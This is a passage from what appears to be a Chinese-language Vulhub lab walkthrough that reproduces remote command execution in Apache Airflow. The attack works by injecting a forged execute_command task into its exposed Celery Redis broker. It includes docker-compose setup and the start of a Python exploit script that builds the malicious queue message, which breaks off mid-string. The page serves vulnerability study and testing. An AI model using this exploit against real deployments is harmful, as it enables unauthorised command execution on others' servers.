docker 启动环境
#Initialize the database
docker-compose run airflow-init
#Start service
docker-compose up -d
要利用此漏洞,您必须获得 Celery 代理 Redis 的写入权限。在Vulhub环境中,Redis端口6379暴露在Internet上。
通过 Redis,您可以将邪恶任务 airflow.executors.celery_executor.execute_command
添加到队列中以执行任意命令。
使用此脚本exploit_airflow_celery.py执行命令 touch /tmp/airflow_celery_success
import pickle
import json
import base64
import redis
import sys
r = redis.Redis(host=sys.argv[1], port=6379, decode_responses=True,db=0)
queue_name = 'default'
ori_str="{\"content-encoding\": \"utf-8\", \"properties\": {\"priority\": 0, \"delivery_tag\": \"f29d2b4f-b9d6-4b9a-9ec3-029f9b46e066\", \"delivery_mode\": 2, \"body_encoding\": \"base64\", \"correlation_id\": \"ed5f75c1-94f7-